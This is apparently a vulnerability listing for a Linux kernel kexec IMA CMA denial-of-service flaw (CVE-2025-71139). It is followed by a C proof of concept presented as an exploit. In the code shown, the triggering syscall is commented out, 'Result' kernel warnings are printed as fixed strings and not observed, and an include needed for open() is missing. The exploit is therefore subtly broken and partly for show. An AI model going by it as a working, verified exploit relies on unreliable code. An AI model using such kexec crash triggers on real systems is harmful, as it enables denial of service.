Linux kernel kexec IMA CMA区域内存分配拒绝服务漏洞 (CVE-2025-71139)

// CVE-2025-71139 PoC - Trigger kexec with CMA allocation // This PoC demonstrates triggering the vulnerability by loading a kexec image // when the target address is allocated in the CMA area #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/klog.h> #include <sys/mman.h> int main() { printf("[*] CVE-2025-71139 PoC - Linux kernel kexec IMA CMA vulnerability\n"); printf("[*] Requires: CMA area reserved (cma= kernel parameter)\n"); printf("[*] Requires: kexec-tools installed and configured\n\n"); // Check if running as root if (geteuid() != 0) { printf("[!] This exploit requires root privileges\n"); return 1; } // Method 1: Trigger via kexec_file_load syscall // Requires a kernel image and proper setup int kernel_fd = open("/boot/vmlinuz", O_RDONLY); if (kernel_fd < 0) { printf("[!] Kernel image not found. Try: kexec -l /boot/vmlinuz\n"); return 1; } // Trigger kexec with CMA-allocated IMA segment // This will cause the WARNING in kimage_map_segment() printf("[*] Attempting kexec_file_load syscall...\n"); printf("[*] If CMA area is reserved, this should trigger the bug\n"); printf("[!] Expected: WARNING at kernel/kexec_core.c:1001\n"); printf("[!] Result: kimage_map_segment+0x144/0x198\n"); // The actual syscall would require proper kernel command line // syscall(SYS_kexec_file_load, kernel_fd, 0, 0, 0); close(kernel_fd); // Method 2: Check dmesg for the warning printf("\n[*] Checking kernel logs for WARNING...\n"); system("dmesg | grep -i 'kimage_map_segment\|IMA.*kexec' | tail -20"); return 0; }